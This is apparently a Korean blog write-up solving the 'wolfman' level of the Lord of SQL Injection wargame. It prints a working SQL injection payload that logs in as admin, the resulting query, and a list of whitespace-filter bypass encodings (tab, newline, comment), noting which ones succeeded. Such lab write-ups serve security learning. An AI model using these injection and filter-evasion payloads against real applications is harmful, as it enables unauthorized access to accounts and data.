1. 문제 지문
2. 요약
- 특수문자, 공백 필터링
- id가 admin일 경우 풀림
3. 풀이
이번 문제에는 공백이 필터링 되어 있다.
또한 where문 이후의 id조건으로는 guest가 설정되어 있고, where뒤의 id를 admin으로 바꾸어주어야 한다.
즉, 아래와 같은 공격문을 사용하여야 한다.
https://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw=-1' or id='admin'#
select id from prob_wolfman where id='guest' and pw='-1' or id='admin'#
(위와 같이 빨간 구문은 거짓, 파란 부분이 참이 되도록 설정해야 id로 admin을 받을 수 있다.)
하지만 여기에는 공백 필터링이 걸려있다.
공백 필터링 우회
- Tab : %09
- 줄넘김 : %0a
- 주석 : /**/
- 괄호 : ()
-
더하기 : +(출처 : https://super-cert.tistory.com/entry/SQL-Injection-%EA%B3%B5%EA%B2%A9%EC%8B%9C-%EA%B3%B5%EB%B0%B1-%EB%AC%B8%EC%9E%90-%ED%95%84%ED%84%B0%EB%A7%81%EC%8B%9C-%EC%9A%B0%ED%9A%8C-%EB%B0%A9%EB%B2%95)
대체적으로 공백 필터링은 위와 같은 방법으로 우회가 가능하다. 저것도 막혀있으면 다른 방법을 찾아야 겠지만....
어쨋든 여기서 가능한 것 중에 Tab을 이용하여 공격하였다.
https://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw=-1'%09or%09id='admin'%23
클리어
추가적으로 다른 우회방법으로도 테스트 해본 결과
- 줄넘김 %0a
- 주석 /**/
위 두 가지는 우회가 되었으며
괄호와 더하기(+)는 우회가 불가능 하였음을 확인하였다.
'Web > LOS' 카테고리의 다른 글
| LOS 풀이 - (07) orge (0) | 2019.07.09 |
|---|---|
| LOS 풀이 - (06) darkelf (0) | 2019.07.09 |
| LOS 풀이 - (04) Orc (0) | 2019.07.09 |
| LOS 풀이 - (03) Goblin (0) | 2019.07.09 |
| LOS 풀이 - (02) Cobolt (0) | 2019.06.29 |